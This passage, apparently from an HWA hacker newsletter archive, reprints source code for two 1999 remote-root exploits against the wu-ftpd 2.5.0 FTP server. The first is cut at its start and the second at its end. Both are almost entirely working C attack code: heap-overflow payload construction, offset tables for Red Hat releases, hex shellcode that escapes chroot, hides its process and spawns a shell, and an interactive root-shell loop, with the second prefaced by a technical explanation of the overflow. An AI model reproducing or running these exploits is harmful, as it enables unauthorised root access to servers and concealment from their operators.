trouble. */ /* getline * * get next line from server or local buffer */ char * getline (void) { char y[2]; int i = 0; memset (linebuf, '\0', sizeof (linebuf)); strcpy (y, "x"); while (strncmp (y, "\n", 1) != 0) { if (i > (sizeof (linebuf) + 2)) { err (0, "getline() buffer full"); } i += xread (fd, y, 1); strcat (linebuf, y); } if (disp != 0 && debug > 0) { #ifdef COLOR if (nostat != 0) { char color[64]; memset (color, '\0', sizeof (color)); switch (linebuf[0]) { case '2': strcpy (color, C_CYAN); break; case '3': strcpy (color, C_BROWN); break; case '4': strcpy (color, C_RED); break; case '5': strcpy (color, C_RED); break; default: break; } printf ("%s", color); } #endif if (nostat != 0 || debug > 1) printf ("%s", linebuf); #ifdef COLOR if (nostat != 0) printf ("%s", C_NORM); #endif } return (linebuf); } /* getmsg * * discard lines until expected response or error is reported */ char * getmsg (const char *msg) { char *line; int i = strlen (msg); do { line = getline (); } while (strncmp (line, msg, i) != 0 && strncmp (line, "5", 1) != 0); return (line); } /* log_into_ftp * * log into the ftp server given the login name and password * * return nothing */ void log_into_ftp (void) { char *line; char foundmatch=0; line = getmsg ("220 "); hostinf.header = xstrdup (line); if (!debug) printf("%s", line); if (!offset_selected) { for (sptr = spdata ; sptr->banner ; ++sptr) { if (strstr(line, sptr->banner)) { foundmatch=1; break; } } if (!foundmatch) err(0, "No offset selected, and no matching banner found!"); } printf ("Using offsets from: %s\n", sptr->desc); putserv ("USER %s\n", tesopt.user); getmsg ("331 "); putserv ("PASS %s\n", tesopt.pass); line = getmsg ("230 "); if (strncmp ("5", line, 1) == 0) err (0, "login not accepted!\n"); if (strlen (tesopt.cwd) > 0) { if (cwd (tesopt.cwd) == 0) { err (0, "initial CWD failed."); } } getpwd (); return; } /* recurse_writable * * recursively scans for writable dirs, starting in CWD * * return 1 for CWD is writable * return 0 for no writable dir found */ int recurse_writable (void) { dirptr dirroot = NULL, current = NULL, prev = NULL; char *line = "", *tmp = ""; if (is_writable () != 0) return (1); nostat = 0; putserv ("STAT .\n"); while (strncmp (line, "213 ", 4) != 0) { line = getline (); tmp = getdir (line); if (tmp == NULL) continue; if (dirroot == NULL) { current = dirroot = newdir (tmp); continue; } current->next = newdir (tmp); current = current->next; } nostat = 1; current = dirroot; while (current != NULL) { if (cwd (current->name)) { if (recurse_writable ()) return (1); cwd (".."); } prev = current; current = current->next; free (prev->name); free (prev); } return (0); } /* mkd * * make a directory * * return 0 on success * return 1 if the directory already exists * retrun 2 on error */ int mkd (char *name) { char *line; putserv ("MKD %s\n", name); line = getmsg ("257 "); if (strncmp ("521 ", line, 4) == 0) return (1); if (strncmp ("257 ", line, 4) == 0) return (0); return (2); } /* rmd * * remove a directory * * return 0 on success * return 1 on failure */ int rmd (char *name) { char *line; putserv ("RMD %s\n", name); line = getmsg ("250 "); if (strncmp("250 ", line, 4) == 0) return (0); return (1); } /* is_writeable * * check whether the current working directory is writeable * * return 1 if it is * return 0 if it is not */ int is_writable (void) { int i = 0, is = 0; redo: if (++i > 3) return (0); is = mkd (tesopt.dirname); if (is == 1) { printf ("leet.. our file already exists.. delete and retry\n"); rmd (tesopt.dirname); goto redo; } else if (is == 0) { rmd (tesopt.dirname); return (1); } return (0); } /* cwd * * change current working directory on the ftp server * * return 1 on success * return 0 on failure */ int cwd (const char *path) { char *line; if (debug != 0) printf ("CWD %s\n", path); putserv ("CWD %s\n", path); line = getmsg ("250 "); if (strncmp ("250 ",line, 4) == 0) return (1); return (0); } /* getpwd * * sets hostinf.pwd to CWD * * returns nothing */ void getpwd (void) { char *tmp, *line; char *chr, *rchr; putserv ("PWD\n"); line = getmsg ("257 "); if (strncmp ("257 ", line, 4) != 0) err (0, "getpwd failed: incorrect answer: %s", line); /* too long, but for sure long enough. */ tmp = xcalloc (strlen (line) + 1, 1); chr = strchr (line, '"'); rchr = strrchr (line, '"'); if (chr == NULL) err (0, "no \"'s in getpwd."); if (chr == rchr) err (0, "only one \" in getpwd."); if ((rchr - chr) < 2) err (0, "pwd too short?"); strncat (tmp, chr + 1, rchr - chr - 1); if (hostinf.pwd != NULL) free (hostinf.pwd); hostinf.pwd = xstrdup (tmp); free (tmp); hostinf.pwdlen = strlen (hostinf.pwd); /* printf("current pwd is %s\n", hostinf.pwd); */ } /* getdir * * get directory from a STAT string (parsing works with wuftpd AND proftpd) * * return pointer to directory name on success * return NULL on failure/not a directory */ char * getdir (char *stat) { char *dir = stat; if (strlen (dir) < 57) return (NULL); if (strncmp (" ", dir, 1) == 0) ++dir; if (strncmp ("d", dir, 1) != 0) return (NULL); dir += 55; dir[strlen (dir) - 2] = 0; /* printf("strlen is %d for %s",strlen(dir), dir); */ if (strcmp (".", dir) == 0 || strcmp ("..", dir) == 0) return (NULL); return (dir); } /* cleanup_and_exit * * cleanup functions on exit * * return nothing */ void cleanup_and_exit (void) { free (tesopt.rev); free (hostinf.header); free (hostinf.pwd); close (fd); printf ("%s\n", C_NORM); exit (EXIT_SUCCESS); } /* x2port * * like atoi, but with getservbyname if atoi() fails * * return port */ int x2port (const char *smtn) { struct servent *serv; int port; port = atoi (smtn); if (port == 0) { serv = getservbyname (smtn, "tcp"); if (serv != NULL) port = htons (serv->s_port); } return (port); } /* int2char * * converts an integer to 4byte char * * * return port */ char int2char_tmp[8]; char * int2char (int addr) { bzero(&int2char_tmp, 8); int2char_tmp[0] = (addr & 0x000000ff); int2char_tmp[1] = (addr & 0x0000ff00) >> 8; int2char_tmp[2] = (addr & 0x00ff0000) >> 16; int2char_tmp[3] = (addr & 0xff000000) >> 24; int2char_tmp[4] = 0; return (int2char_tmp); } /* wuftpd_250_sploitit * * tries to exploit wuftpd 2.5.0, after all preparation work is done. * * return 0 on error * return 1 on success */ int wuftpd_250_sploitit (void) { int shelloff, times, fill; int start_writing_to_errcatch, argvlen, behind_errcatch; int i, n; char string[2048]; argvlen = strlen ("ftpd: "); argvlen += strlen (tesopt.rev); argvlen += strlen (": "); argvlen += strlen (tesopt.user); argvlen += strlen (": "); if (strncmp ("anonymous", tesopt.user, 9) == 0) argvlen += strlen (tesopt.pass) + 1; times = (sptr->maxpathlen-hostinf.pwdlen) / (tesopt.dirlen + 1); fill = sptr->maxpathlen-hostinf.pwdlen - (tesopt.dirlen + 1) * times; if (debug > 0) { printf ("CWD %d + (dirlen %d * %d times) + fill %d = %d\n", hostinf.pwdlen, tesopt.dirlen, times, fill, sptr->maxpathlen); } if (strlen (shellcode) > (tesopt.dirlen - 40)) err(0, "shellcode too big, edit the source to use less padding," "\nhmm.. this shouldn't have happened with LaM3rZ shellcode!"); /* let's try to hit the middle of our 0x90 pad */ shelloff = sptr->mapped_path + hostinf.pwdlen + ( (tesopt.dirlen - strlen(shellcode)) / 2); if (debug > 0) printf ("will try to longjmp to 0x%x\n", shelloff); start_writing_to_errcatch = sptr->errcatch - argvlen; behind_errcatch = sptr->errcatch + (6 * 4) + 2 + 8; if (debug > 0) { printf ("errcatch(0x%x) - argvlen(%d) = start 0x%x - end 0x%x\n", sptr->errcatch, argvlen, start_writing_to_errcatch, behind_errcatch); } memset (string, 'A', tesopt.dirlen); if (debug<3) /* 0x0e/^N in shellcode -> not meant for humans. */ disp = 0; for (i = 0; i < times; i++) { switch (i) { case 0: memset (string, 0x90, tesopt.dirlen); memcpy (string+tesopt.dirlen-strlen(shellcode), shellcode, strlen (shellcode)); break; case 1: memset (string, 0x90, tesopt.dirlen); break; default: break; } string[tesopt.dirlen] = 0; putserv ("MKD %s\n", string); getline (); putserv ("CWD %s\n", string); getline (); } getpwd (); disp = 1; if (debug > 0) printf ("Now %d bytes deep in dir structure.\n", hostinf.pwdlen); if (fill != sptr->maxpathlen-hostinf.pwdlen) err (0, "Calculation wrong. Error!"); if (fill > 506) err (0, "Aw.. fuck! My fill is waaaay to big!\n"); /* onefile[0], onefile[1] and maybe pad_eax */ fill += sptr->pad_eax ? 12 : 8; n = fill/4; string[0] = 0; for (i=0; i < n; i++) strcat(string, int2char(start_writing_to_errcatch)); for (i=1; i < (fill - (n*4)); i++) strcat(string, "A"); /* mapped_path + currentpwdlen + / + 3*4 -> should be pointer to errcatch */ strcat (string, int2char (sptr->mapped_path+hostinf.pwdlen+13)); /* Argv */ strcat (string, int2char (behind_errcatch)); /* LastArgv */ if (debug > 0) printf ("Sending final CWD\n"); if (strlen (string) < 20) err (0, "cwd string too short.. check for 0x0's.\n"); putserv ("CWD %s\n", string); getline (); /************ jmpbuf ***********/ if (debug > 0) printf ("Sending jmpbuf\n"); string[0] = 0; for (i=0; i<8; i++) /* (sizeof(jmpbuf) = 24)+8.. */ strcat (string, int2char (shelloff)); if (strlen (string) != 32) err (0, "jmpbuf string too short.. check for 0x0's.\n"); putserv ("%s\n", string); getline (); return (1); } /* shell * * provide a pseudo shell.. * * return nothing */ void shell (void) { char buf[5120]; int l; fd_set rfds; printf("%sSpawning rootshell:%s\n", C_RED, C_NORM); while (1) { FD_SET (0, &rfds); FD_SET (fd, &rfds); select (fd+1, &rfds, NULL, NULL, NULL); if (FD_ISSET (0, &rfds)) { l = read (0, buf, sizeof (buf)); if (l <= 0) cleanup_and_exit (); xwrite (fd, buf, l); } if (FD_ISSET (fd, &rfds)) { l = read (fd, buf, sizeof (buf)); if (l <= 0) cleanup_and_exit (); xwrite (1, buf, l); } } } /* check_test_return * * Check if testcode sploiting was successfull. * * return 0 on failure * return 1 on success */ int check_test_return(char *what, int len) { char line[1024]; int i, flags; fd_set rset; struct timeval tv; printf("w8ing for testshellcode to respond...\n"); flags = fcntl(fd, F_GETFL, 0); if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) err(1, "fcntl fucked up (testshellcode)"); FD_ZERO(&rset); FD_SET(fd, &rset); tv.tv_sec = 10; tv.tv_usec = 0; if (!select(fd + 1, &rset, NULL, NULL, &tv)) err(0, "select timed out(testshellcode)"); i = read(fd, line, len); if (!strncmp(what, line, len)) { printf("%sSploit successfull!%s\n", C_RED, C_NORM); return(1); }; printf("%sSploit not successfull!%s\n", C_RED, C_NORM); return(0); } int main (int argc, char **argv) { int i; title (); if (argc < 3) usage (argv[0]); signal (SIGINT, (void *) &sighandler); signal (SIGQUIT, (void *) &sighandler); parseargs (argc, argv); printf("Connecting...\n"); connect_to_ftp (); log_into_ftp (); if (sptr->need_writable || tesopt.dirscanonly) { printf ("Logged in! Searching for a writable directory...\n"); if (!recurse_writable()) err (0, "kurwa mac! no writable dir found\n"); } else { printf ("Logged in!\n"); } getpwd (); printf (" %s is writable.. rock on!\n", hostinf.pwd); if (!tesopt.dirscanonly) { printf("Trying to sploit...\n"); sptr->code(); tesopt.testonly ? i = check_test_return("teso\n", 5) : shell(); if (!i) printf ("sploiting not successfull\n"); } cleanup_and_exit(); return (0); /* not reached */ } @HWA 35.0 wuftpd250-sploit.c C0ded by nuuB [Sep 19, 1999] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From http://www.hack.co.za /* * wuftpd250-sploit.c - wuftpd 2.5.0 hands us (remote) r00t in the ensuing * chaos that follows a heap overflow. Linux version. * * C0ded by nuuB [Sep 19, 1999] * * Compile with: * * cc wuftpd250-sploit.c -o wuftpd250-sploit * * Credits: * typo for interesting discussions and the double combo idea. * edi for the 'eip in PASS' idea. * lcamtuf for finding the bug and posting on bugtraq. * temas for a RH6 box to test this on. * * Quote: * * " it's wicked... but you can change errcatch and LastArgv at the * same time, thus doing an elite combo and owning the entire world" * * Below is a detailed description of how the exploit works. You shouldn't * have too much trouble understanding what is going on. The code is written * for readability and roboustness (i.e not using the 'printf()|nc' style). * * Have fun, but as always - BEHAVE! * * /nuuB */ /* * Overflow: * * cwd() -> mapping_chdir() -> do_elem() -> strcat(mapped_path, dir); * * Pseudo call sequence for each received FTP command: * * if(command_not_implemented) longjmp(errcatch); * setproctitle(": "); * do_(); * setproctitle(": IDLE"); * * where * * setproctitle() { * copy to Argv[0] and pad with spaces to LastArgv; * } * * Egg: * * /incoming/A--A//A--A/eeee00001111oooooooovvvvLLLL\0 * ^- 0 ^- mp_size-255-256 ^- mp_size * * Pad: A--A=padding/NOP * Data: e=eip for the 2x combo (see below), 0=owned_Argv[0], 1=owned_Argv[1] * Overflowed variables: o=onefile, v=Argv (ptr to Argv[0]), L=LastArgv * * mp_size = sizeof(mapped_path) + any alignment bytes added by the compiler * * We can't get eip directly, but as setproctitle() copies data we have some * control over to the area between Argv[0] and LastArgv we can do some neat * stuff. There are several ways to do it, but this exploit uses the three * different methods outlined below. * * Anon attack: * * We place the pointer to our c0de in PASS (used in setproctitle("IDLE")). * eip can be snagged in different ways. One way is to overwrite the return * address on the stack for setproctitle(), essentially turning the heap * overflow into a stack overflow. The nature of the exploit forces us to * know the exact place on the stack, and this varies with the environment. * Thus this method is very unreliable, but is still included as we do * this for fun :) A better way is to overwrite the JB_PC part of errcatch * and then cause errcatch to be called by issuing an unimplemented command. * Still, we need two offsets, but both are on the heap. As a bonus * this method can't be stopped by Stack Guard or non-executable stacks. * * Required offsets: mapped_path, setproctitle() stack eip / errcatch. * * Account attack: * * There is no controllable data in the setproctitle("IDLE") call so we use * two CWD's and make use of the setproctitle("CWD") calls. The first CWD * will set the Argv stuff so the second CWD (with our eip) gets written * where we want. The second CWD will have to change the Argv's so that * we don't destroy the eip when the final setproctitle("IDLE") call comes. * In this case we can't write eip to the stack as it will be hosed before * we get a chance to use it. This method works for anonymous too and is * unstoppable by Stack Guard etc. * * Required offsets: mapped_path, errcatch. * * Interesting finding: * * When trying to CWD you get a 250 reply under * RH5.1, but under RH6.0 you get a 550 (i.e chdir() fails) - even though * the source for wuftpd is the same in both cases. This probably has to do * with the different kernel/libc's and how they handle long paths. Anyhow, * this needs to be taken into account in the double combo attack. * * Offsets: * * The above methods require two offsets to be known exactly. This gives * us a lot of combinations to try. The amount could possibly be reduced * a bit using more eip pointers, but as mapped_path has to be known * the number of combinations is bigger than I think is practical. Thus * there is no option to enter offsets from the command line. */ #include #include #include #include #include #include #include #include #include #include #include #include extern int errno; /* Offsets that must be known (exactly) */ int mapped_path_size; /* not really an offset... normally 1024 or 4096 */ unsigned long mapped_path; unsigned long eip_addr; /* Values we want to set the corresponding variables to. Calculated from the * above offsets. */ unsigned long c0de_addr; unsigned long owned_Argv0; unsigned long owned_Argv; unsigned long owned_LastArgv; #define TOP_OF_STACK 0xc0000000 /* Variable that decides if mkd_cwd() aborts on errors or not */ int mkd_cwd_bail_on_error=1; /* Lets start collecting offsets... */ struct preset { char *desc; void (*attack)(); int mpsize; unsigned long mp; unsigned long eip_addr; }; void attack_anon(); void attack_any(); /* Offsets can be found using gdb, objdump or ltrace */ struct preset presets[]={ {"eip RH 6.0 wu-ftpd-2.5.0-2.i386.rpm Tue Jun 8 08:55:12 EDT 1999", attack_anon, 4096, 0x0806a1e0, 0xbfffe8a4}, {"ljmp RH 5.1 wu-ftpd-2.5.0-1.RH5-1.i386.rpm Fri May 21 10:45:57 EDT 1999", attack_anon, 1024, 0x08066890, 0x0806fcc0+5*4}, {"ljmp RH 5.2 wu-ftpd-2.5.0-0.5.2.i386.rpm Tue Jun 8 11:19:44 EDT 1999", attack_anon, 1024, 0x08067504, 0x08070930+5*4}, {"ljmp RH 6.0 wu-ftpd-2.4.2vr17-3.i386.rpm Mon Apr 19 09:21:53 EDT 1999", attack_anon, 4096, 0x08067780, 0x08075520+5*4}, {"ljmp RH 6.0 wu-ftpd-2.5.0-2.i386.rpm Tue Jun 8 08:55:12 EDT 1999", attack_anon, 4096, 0x0806a1e0, 0x08077fc0+5*4}, {"2x RH 5.1 wu-ftpd-2.5.0-1.RH5-1.i386.rpm Fri May 21 10:45:57 EDT 1999", attack_any, 1024, 0x08066890, 0x0806fcc0+5*4}, {"2x RH 5.2 wu-ftpd-2.5.0-0.5.2.i386.rpm Tue Jun 8 11:19:44 EDT 1999", attack_any, 1024, 0x08067504, 0x08070930+5*4}, {"2x RH 6.0 wu-ftpd-2.4.2vr17-3.i386.rpm Mon Apr 19 09:21:53 EDT 1999", attack_any, 4096, 0x08067780, 0x08075520+5*4}, {"2x RH 6.0 wu-ftpd-2.5.0-2.i386.rpm Tue Jun 8 08:55:12 EDT 1999", attack_any, 4096, 0x0806a1e0, 0x08077fc0+5*4}, {0,0,0,0,0} }; /* Some stuff we need */ int ctrl; int verbose; char *local_hostname; char *target_host; int target_port; char *target_user=0; char *target_pass=0; char *target_dir=0; /* * This c0de breaks out of chroot() and then goes through a lot of trouble * to hide the process from the system operator. Finally a shell is spawned. * * c0de: * * setreuid(0,0); mkdir("h"); chroot("h"); for(i=0x42;i;--i) chdir(".."); * chroot("."); hide_process(); execve("/bin/sh"); * * N0n0 c0dez: 0x00, 0x0a, 0x0d and for convenience 0x2f ('/'). */ /* Not optimized for space as we got plenty of room */ #define C0DE_SIZE 402 char c0de[]="\xbc\xfc\xff\xff\xbf\xeb\x02\xeb\x1c\xe8\xf9\xff\xff\xff\x2e\x2e" "\x30\x53\x64\x65\x76\x53\x63\x6f\x6e\x73\x6f\x6c\x65\x30\x53\x62" "\x69\x6e\x53\x73\x68\x5d\x31\xc0\x88\x45\x02\x88\x45\x0f\x88\x45" "\x17\x8d\x5d\x15\x89\x5d\x18\x89\x45\x1c\x04\x2e\x40\x88\x45\x03" "\x88\x45\x07\x88\x45\x10\x88\x45\x14\x31\xc0\x89\xc3\x89\xc1\xb0" "\x46\xcd\x80\x8d\x5d\x16\x31\xc9\x66\xb9\x6d\x01\x31\xc0\xb0\x27" "\xcd\x80\x8d\x5d\x16\x31\xc0\xb0\x3d\xcd\x80\x31\xc9\xb1\x42\x89" "\xeb\x31\xc0\xb0\x0c\xcd\x80\x49\x75\xf5\x8d\x5d\x01\x31\xc0\xb0" "\x3d\xcd\x80\xeb\x5d\x8d\x55\x1c\x8d\x4d\x18\x8d\x5d\x10\x31\xc0" "\xb0\x0b\xcd\x80\x31\xdb\x31\xc0\xb0\x01\xcd\x80\x2a\x02\x02\x04" "\x04\x01\x01\x01\x01\x04\x04\x02\x02\x89\xf3\x66\xb9\x32\x4b\x31" "\xc0\xb0\x36\xcd\x80\xc3\x89\xc2\x53\xc1\xe3\x10\x09\xda\x89\xf3" "\x66\xb9\x30\x4b\x31\xc0\xb0\x36\xcd\x80\x5a\xc1\xe2\x14\x89\x55" "\x08\x31\xc0\x89\x45\x04\x8d\x5d\x04\x31\xc9\xb0\xa2\xcd\x80\xc3" "\xeb\xb2\x8d\x5d\x03\x31\xc9\xb1\x02\x31\xc0\xb0\x05\xcd\x80\x89" "\xc6\x31\xc0\xb0\x9b\x01\xe8\x89\x45\x10\x31\xdb\xb3\xa8\x90\x90" "\x01\xeb\x89\x5d\x18\x31\xc0\xb0\x8e\x01\xe8\x89\x45\x0c\x31\xc9" "\xb1\x06\x51\x59\x49\x51\xe3\xc8\x31\xc0\x40\x8b\x5d\x0c\x88\x03" "\x31\xff\x66\xbf\x5c\x12\x89\xf8\x31\xdb\xb3\x28\xff\x55\x18\x8b" "\x5d\x0c\x31\xc0\x8a\x03\x50\x03\x45\x0c\x31\xd2\x8a\x10\x58\x40" "\x83\xf8\x0c\x75\x03\x31\xc0\x40\x88\x03\xff\x55\x10\x31\xc0\xb0" "\x47\x29\xc7\x66\x81\xff\x60\x09\x73\xcc\x31\xff\x66\xbf\x60\x09" "\x0f\xba\xe7\x01\x73\x07\x31\xd2\xb2\x07\xff\x55\x10\x89\xf8\x31" "\xdb\xb3\x28\xff\x55\x18\x0f\xba\xe7\x01\x73\x07\x31\xd2\x31\xd2" "\xff\x55\x10\x31\xc0\xb0\x65\x01\xc7\x66\x81\xff\x5c\x12\x76\xd0" "\xeb\x81"; void usage() { int i; printf("wuftpd 2.5.0 remote r00t exploit. C0ded by nuuB [Sep 19, 1999].\n\n" "Usage: wuftpd250-sploit \n\n" " = [:@][:][/]\n\n" "Type Neeq Distro RPM Banner date\n" "---- ---- ------ ------------------------------- ----------------------------\n"); for(i=0; presets[i].desc; ++i) { if(presets[i].mpsize) printf("%2d) %s\n", i, presets[i].desc); } printf("\n" " eip = setproctitle() eip overwrite (stack, unreliable, anonymous only)\n" " ljmp = errcatch JB_PC overwrite (heap, anonymous only)\n" " 2x = errcatch JB_PC overwrite using 2x combo (heap)\n"); exit(0); } void parse_url(char *url) { char *u, *s; u=strdup(url); if((s=strrchr(u, '@'))) { *s++=0; target_user=u; u=s; if(!(s=strchr(target_user, ':'))) usage(); *s++=0; target_pass=s; } target_host=u; if((u=strchr(u, '/'))) { target_dir=strdup(u); *u=0; } if((s=strchr(target_host, ':'))) { *s++=0; if(!isdigit(*s)) usage(); target_port=atoi(s); } else target_port=21; } void baile(char *s) { printf("*** %s [errno=%d - %s]\n", s, errno, strerror(errno)); exit(1); } void bail(char *s) { printf("*** %s\n", s); exit(1); } /* Should work on all platforms */ char *htol_LEstr(unsigned long num) { static unsigned char buf[5]; unsigned long n; n=htonl(num); buf[0]=(n>>24)&0xff; buf[1]=(n>>16)&0xff; buf[2]=(n>>8)&0xff; buf[3]=n&0xff; buf[4]=0; if(strlen(buf) != 4 || strchr(buf, '\r') || strchr(buf, '\n') || strchr(buf, '/')) { printf("*** Illegal char in number 0x%08x found!\n\n", (unsigned int)num); bail("Sploit needs to be slightly realigned. No problems, right kidz? B}"); } return buf; } int connect_host() { char *p; int fd; struct sockaddr_in target, me; struct hostent *he; int me_len; /* Connect to victim */ memset(&target, 0, sizeof(struct sockaddr_in)); target.sin_family=AF_INET; if(!inet_aton(target_host, &target.sin_addr)) { if(!(he=gethostbyname(target_host))) baile("Unable to resolve victim hostname."); memcpy((char *)&target.sin_addr, he->h_addr, he->h_length); } target.sin_port=htons(target_port); if((fd=socket(AF_INET, SOCK_STREAM, 0))<0) baile("socket() failed"); if(connect(fd, &target, sizeof(target))) baile("connect() failed"); /* Get local hostname */ me_len=sizeof(me); if(getsockname(fd, &me, &me_len)) baile("Unable to determine local hostname!"); if((he=gethostbyaddr((char *)&me.sin_addr, sizeof(me.sin_addr), AF_INET))) local_hostname=strdup(he->h_name); else if((p=inet_ntoa(me.sin_addr))) { strcpy(local_hostname, p); } else baile("Unable to determine local hostname!"); printf("*** Local hostname: %s\n", local_hostname); return fd; } char *get_response_str() { static char buf[16384]; /* Yer leet-hacked-up ftpd can 0wn the sploiter B] */ char *p; p=buf; while(read(ctrl, p, 1) == 1) { if(*p == '\r') { *p++=0; while(read(ctrl, p, 1) == 1 && *p != '\n') ; if(buf[3] == ' ') { if(verbose == 1) printf("%4.4s\n", buf); else if(verbose >= 2) printf("%s\n", buf); return buf; } p=buf; continue; } ++p; } bail("Server disconnected."); return 0; /* Never reached */ } int get_response() { char *s; s=get_response_str(); if(!isdigit(s[0]) || !isdigit(s[1]) ||!isdigit(s[2])) bail("Illegal response from server."); return atoi(s); } void send_command(unsigned char *cmd) { if(verbose == 1) printf("--> %4.4s\n", cmd); if(verbose >= 2) printf("--> %s\n", cmd); while(*cmd) { if(write(ctrl, cmd, 1) != 1) baile("write failed"); if(*cmd == 0xff) /* 0xff -> IAC IAC */ if(write(ctrl, cmd, 1) != 1) baile("write failed"); ++cmd; } if(write(ctrl, "\r\n", 2) != 2) baile("write failed"); } int mkd_cwd(char *dir) { char buf[1024]; int r; sprintf(buf, "MKD %s", dir); send_command(buf); r=get_response(); if(r != 257 && r != 521) { printf("*** Failed to create dir (reply=%d)\n", r); bail("Aborting."); } sprintf(buf, "CWD %s", dir); send_command(buf); r=get_response(); if(r != 250 && mkd_cwd_bail_on_error) bail("CWD failed."); return r; } /* update_buffer() + shovel_data() moves data between the shell and the * local terminal. */ #define BUFSIZE 128 int update_buffer(char *buf, int *idx, int thisone, int direction) { if(thisone < 0) { if(errno == EINTR || errno == EWOULDBLOCK) return 0; return 1; } if(!thisone) return 1; if(direction < 0) { if(thisone < *idx) memmove(buf, &buf[thisone], *idx-thisone); *idx-=thisone; } else *idx+=thisone; return 0; } void shovel_data(int netfd) { fd_set R,W; char obuf[BUFSIZE], ibuf[BUFSIZE]; int o, i; int done; fcntl(STDIN_FILENO, F_SETFL, O_NONBLOCK); fcntl(STDOUT_FILENO, F_SETFL, O_NONBLOCK); fcntl(netfd, F_SETFL, O_NONBLOCK); o=i=done=0; while(!done) { FD_ZERO(&R); FD_ZERO(&W); if(i > 0) FD_SET(STDOUT_FILENO, &W); if(i < BUFSIZE) FD_SET(netfd, &R); if(o > 0) FD_SET(netfd, &W); if(o < BUFSIZE) FD_SET(STDIN_FILENO, &R); select(netfd+1, &R, &W, 0, 0); if(FD_ISSET(STDOUT_FILENO, &W)) done|=update_buffer(ibuf, &i, write(STDOUT_FILENO, ibuf, i), -1); if(FD_ISSET(netfd, &W)) done|=update_buffer(obuf, &o, write(netfd, obuf, o), -1); if(FD_ISSET(STDIN_FILENO, &R)) done|=update_buffer(obuf, &o, read(STDIN_FILENO, &obuf[o], BUFSIZE-o),1); if(FD_ISSET(netfd, &R)) done|=update_buffer(ibuf, &i, read(netfd, &ibuf[i], BUFSIZE-i), 1); } } /* Do the stuff common to the attacks */ int do_prologue() { char buf[1024]; char *s, *t; int pos; verbose=2; mkd_cwd_bail_on_error=1; if(get_response() != 220) bail("No welcome banner."); sprintf(buf, "USER %s", target_user); send_command(buf); if(get_response() != 331) bail("USER failed."); sprintf(buf, "PASS %s", target_pass); send_command(buf); if(get_response() != 230) bail("PASS failed."); if(target_dir) { sprintf(buf, "CWD %s", target_dir); send_command(buf); if(get_response() != 250) bail("CWD failed."); } send_command("PWD"); s=get_response_str(); if(strncmp("257 \"", s, 5) || !(t=strchr(&s[5], '"'))) bail("Unable to get current directory."); /* Pos is how much of mapped_path is used so far (excluding NULL) */ pos=(t-(s+5)); printf("*** Creating deep directory. This may take some time...\n"); verbose=0; /* Align to 256 bytes (excluding trailing /) */ memset(buf, 'A', sizeof(buf)); buf[256-(pos+1)]=0; mkd_cwd(buf); pos+=1+strlen(buf); /* Keep going */ memset(buf, 'A', sizeof(buf)); buf[255]=0; while(pos+255 < mapped_path_size-256*2) { mkd_cwd(buf); pos+=1+strlen(buf); } printf("*** Time to bring out the c0de...\n" "*** Reply codes: 250=OK, 521=Exists, 257=Created, 5xx=Failed\n"); verbose=1; /* alarm(0) B} */ /* c0de[131]=c0de[132]=c0de[255]; */ /* First part of the code */ strncpy(buf, c0de, 255); buf[255]=0; mkd_cwd(buf); pos+=1+255; /* Second part + pad */ memset(buf, 'A', sizeof(buf)); strncpy(buf, c0de+256, C0DE_SIZE-256); buf[255-12-1]=0; mkd_cwd(buf); pos+=1+strlen(buf); /* Sofar mmaped_path_size-12 bytes of mapped_path is used (including null) */ return pos; } void attack_anon() { char buf[1024]; int pos; if(target_user || target_pass) bail("Sorry, this type only works for anonymous FTP..."); printf("*** Logging in as anonymous.\n"); ctrl=connect_host(); /* Calculate offsets */ c0de_addr=mapped_path+mapped_path_size-255-256; owned_Argv=mapped_path+mapped_path_size-8; owned_LastArgv=eip_addr+4+2; /* +2 because spt() works that way */ /* "ftpd: : anonymous/" */ owned_Argv0=eip_addr-(6+strlen(local_hostname)+12); target_user="anonymous"; sprintf(buf, "%s@tta.ck", htol_LEstr(c0de_addr)); target_pass=buf; pos=do_prologue(); /* This last block starts at mapped_path[mapped_path_size-12] */ memset(buf, 'A', sizeof(buf)); /* Skip eeee for this method */ strncpy(buf+4, htol_LEstr(owned_Argv0), 4); /* Skip sizeof(owned_Argv1)+sizeof(onefile) = 4+8 */ strncpy(buf+4+4+4+8, htol_LEstr(owned_Argv), 4); strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv)); pos+=1+strlen(buf); printf("*** Total egg size is %d. Sending final component.\n", pos); mkd_cwd_bail_on_error=0; /* Ignore the final CWD return code */ mkd_cwd(buf); printf("*** N0w w0u1d b3 4 g00d 71m3 70 g0 54cR1f1c3 4 g047 4nD\n" "*** pr4Y t0 7h3 g0D 0f 0ff537z...\n\n"); /* Cause longjmp(errcatch) - only needed for the errcatch method */ write(ctrl, "MRCP\r\n", 6); } void attack_any() { char buf[1024]; int pos; int prefixlen; if(!target_user || !target_pass) { target_user="anonymous"; target_pass="cr@ck.er"; printf("*** Logging in as anonymous.\n"); } ctrl=connect_host(); /* Calculate offsets */ c0de_addr=mapped_path+mapped_path_size-255-256; owned_Argv=mapped_path+mapped_path_size-8; /* "ftpd: : : CWD " */ prefixlen=14+strlen(local_hostname)+strlen(target_user); /* 'anonymous/' pass */ if(!strcmp(target_user, "ftp") || !strcmp(target_user, "anonymous")) prefixlen+=strlen(target_pass)+1-strlen(target_user)+9; pos=do_prologue(); /* First CWD */ owned_Argv0=eip_addr-prefixlen; owned_Argv=mapped_path+mapped_path_size-8; owned_LastArgv=eip_addr+4+2; /* +2 because spt() works that way */ memset(buf, 'A', sizeof(buf)); strncpy(buf+4, htol_LEstr(owned_Argv0), 4); strncpy(buf+4+4+4+8, htol_LEstr(owned_Argv), 4); strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv)); pos+=1+strlen(buf); printf("*** Total egg size is %d. Sending 2x combo.\n", pos); verbose=1; printf("*** Round-house kick.\n"); mkd_cwd_bail_on_error=0; /* Ignore the CWD return code */ if(mkd_cwd(buf) == 250) { send_command("CWD .."); /* Back up if the chdir() was successful */ get_response(); } /* Second CWD. * * Borrow some room near TOP_OF_STACK ("free space") as a safe place for * the remaining times setproctitle() is called. */ owned_Argv0=TOP_OF_STACK-8; owned_LastArgv=TOP_OF_STACK-1; strncpy(buf, htol_LEstr(c0de_addr), 4); strncpy(buf+4, htol_LEstr(owned_Argv0), 4); strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv)); printf("***